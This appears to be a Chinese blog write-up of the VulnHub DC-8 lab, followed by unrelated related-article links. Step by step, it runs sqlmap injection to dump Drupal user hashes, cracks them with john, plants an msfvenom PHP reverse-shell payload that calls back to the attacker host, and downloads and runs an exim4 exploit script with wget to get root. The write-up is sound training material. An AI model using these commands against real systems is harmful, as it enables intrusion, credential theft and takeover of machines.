VulnHub靶机 DC-8 打靶实战 详细渗透过程

2024-04-24 09:20

本文主要是介绍VulnHub靶机 DC-8 打靶实战 详细渗透过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

VulnHub靶机 DC-8 打靶 详细渗透过程

目录

  • VulnHub靶机 DC-8 打靶 详细渗透过程
    • 一、将靶机配置导入到虚拟机当中
    • 二、渗透测试流程
      • 主机发现
      • 端口扫描
      • Web渗透
        • SQL注入
        • 登录后台
        • 反弹shell
        • 提权

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-8,367/

image-20240423222428354

二、渗透测试流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

arp-scan -l

image-20240423223107919

端口扫描

nmap -p- 192.168.0.105

image-20240423223230955

开放了80端口和22端口,详细探测一下服务信息

nmap -p80 -sV -A 192.168.0.105

image-20240423223412730

探测一下指纹信息:

whatweb http://192.168.0.105

image-20240423223453030

Web渗透

SQL注入

访问web界面,通过上述信息收集加插件,得到以下信息,采用Drupal CMS,版本为Drupal 7

image-20240423223620216

点击左侧,发现url当中出现id参数变化,尝试sql注入

url:http://192.168.0.105/?nid=1

image-20240423223824333

sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba --batch --dbs

image-20240423224112264

当前数据库d7db,但不是dba

image-20240423224132681

查看数据库当中的表信息,还有表中的内容

//爆数据表
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db --tables
//查看表中数据字段
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users --columns
//爆字段数据
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users -C "name,pass" --dump

d7db数据库当中的users数据表

image-20240423224347637

d7db数据库当中的users数据表,查看表中字段内容

image-20240423224513567

成功查询用户名和密码,将密码保存到记事本当中进行破解

image-20240423224609984

登录后台

根据用户名当中提示信息john,使用john进行hash密码破解

将密码保存到文本文件当中,john破解即可

image-20240423231749154

john 1.txt
//admin破解失败,john破解成功
//用户名和密码
john
turtle 
dirsearch -u http://192.168.0.105/ -i 200

通过目录爆破后,成功找到后台并进入

image-20240423230422657

成功进入后台

image-20240423231920692

反弹shell

找到可代码执行的地方,或者可以输入代码的地方,尝试输入,保存即可。

这里还可以使用msf生成php反弹shell脚本,放入其中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 -f raw

将代码放入其中

image-20240423233442210

image-20240423234717871

然后返回提交以后才能执行代码,msf开启监听即可接受到shell

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

image-20240423233920492

成功接收shell,www-data普通权限

image-20240423234416644

获取稳定shell,查看目录下有无有价值信息,发现没有

python -c "import pty;pty.spawn('/bin/bash')"

image-20240423234905116

提权

查找系统下suid权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20240423235020352

查看一下exim4版本信息

image-20240423235700466

搜索相关漏洞,进行利用

searchsploit exim 4

找到版本相近的问题

image-20240423235753917

将其拷贝到本地,发现靶机有wget命令,那么可以通过wget进行下载,本地通过python开启一个http服务

//拷贝脚本
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /opt/exp.sh
//本地开启http服务
python -m http.server 8080

image-20240424000040857

到靶机端进行下载exp.sh即可

wget http://192.168.0.106:8080/exp.sh

image-20240424000153773

image-20240424000211403

赋予执行权限,执行一下

chmod 755 exp.sh
./exp.sh
或bash exp.sh

image-20240424000345193

查看源码,需要带参数

image-20240424000810975

image-20240424000716975

或者我们直接敲上 -h查看帮助的参数

./exp.sh -h

发现得加参数,依次尝试即可

image-20240424000432623

./exp.sh -m setuid 失败
./exp.sh -m netcat

./exp.sh -m netcat 成功提权

image-20240424000529168

image-20240424000617527

思路:

主机发现—端口扫描—服务探针—指纹识别—发现注入点—web渗透SQL注入—获取用户名密码—登入后台—发现可加载PHP代码输入PHP代码—反弹shell—提权—exim4漏洞利用

文章不妥之处,欢迎批评指正!!!

这篇关于VulnHub靶机 DC-8 打靶实战 详细渗透过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/931353

相关文章

MyBatis-Plus逻辑删除实现过程

《MyBatis-Plus逻辑删除实现过程》本文介绍了MyBatis-Plus如何实现逻辑删除功能,包括自动填充字段、配置与实现步骤、常见应用场景,并展示了如何使用remove方法进行逻辑删除,逻辑删... 目录1. 逻辑删除的必要性编程1.1 逻辑删除的定义1.2 逻辑删php除的优点1.3 适用场景2.

SQL Server中行转列方法详细讲解

《SQLServer中行转列方法详细讲解》SQL行转列、列转行可以帮助我们更方便地处理数据,生成需要的报表和结果集,:本文主要介绍SQLServer中行转列方法的相关资料,需要的朋友可以参考下... 目录前言一、为什么需要行转列二、行转列的基本概念三、使用PIVOT运算符进行行转列1.创建示例数据表并插入数

Python + Streamlit项目部署方案超详细教程(非Docker版)

《Python+Streamlit项目部署方案超详细教程(非Docker版)》Streamlit是一款强大的Python框架,专为机器学习及数据可视化打造,:本文主要介绍Python+St... 目录一、针对 Alibaba Cloud linux/Centos 系统的完整部署方案1. 服务器基础配置(阿里

Java 队列Queue从原理到实战指南

《Java队列Queue从原理到实战指南》本文介绍了Java中队列(Queue)的底层实现、常见方法及其区别,通过LinkedList和ArrayDeque的实现,以及循环队列的概念,展示了如何高效... 目录一、队列的认识队列的底层与集合框架常见的队列方法插入元素方法对比(add和offer)移除元素方法

Spring Boot基于 JWT 优化 Spring Security 无状态登录实战指南

《SpringBoot基于JWT优化SpringSecurity无状态登录实战指南》本文介绍如何使用JWT优化SpringSecurity实现无状态登录,提高接口安全性,并通过实际操作步骤... 目录Spring Boot 实战:基于 JWT 优化 Spring Security 无状态登录一、先搞懂:为什

C++11中的包装器实战案例

《C++11中的包装器实战案例》本文给大家介绍C++11中的包装器实战案例,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录引言1.std::function1.1.什么是std::function1.2.核心用法1.2.1.包装普通函数1.2.

Nginx概念、架构、配置与虚拟主机实战操作指南

《Nginx概念、架构、配置与虚拟主机实战操作指南》Nginx是一个高性能的HTTP服务器、反向代理服务器、负载均衡器和IMAP/POP3/SMTP代理服务器,它支持高并发连接,资源占用低,功能全面且... 目录Nginx 深度解析:概念、架构、配置与虚拟主机实战一、Nginx 的概念二、Nginx 的特点

Spring IOC核心原理详解与运用实战教程

《SpringIOC核心原理详解与运用实战教程》本文详细解析了SpringIOC容器的核心原理,包括BeanFactory体系、依赖注入机制、循环依赖解决和三级缓存机制,同时,介绍了SpringBo... 目录1. Spring IOC核心原理深度解析1.1 BeanFactory体系与内部结构1.1.1

JAVA SpringBoot集成Jasypt进行加密、解密的详细过程

《JAVASpringBoot集成Jasypt进行加密、解密的详细过程》文章详细介绍了如何在SpringBoot项目中集成Jasypt进行加密和解密,包括Jasypt简介、如何添加依赖、配置加密密钥... 目录Java (SpringBoot) 集成 Jasypt 进行加密、解密 - 详细教程一、Jasyp

Redis 命令详解与实战案例

《Redis命令详解与实战案例》本文详细介绍了Redis的基础知识、核心数据结构与命令、高级功能与命令、最佳实践与性能优化,以及实战应用场景,通过实战案例,展示了如何使用Redis构建高性能应用系统... 目录Redis 命令详解与实战案例一、Redis 基础介绍二、Redis 核心数据结构与命令1. 字符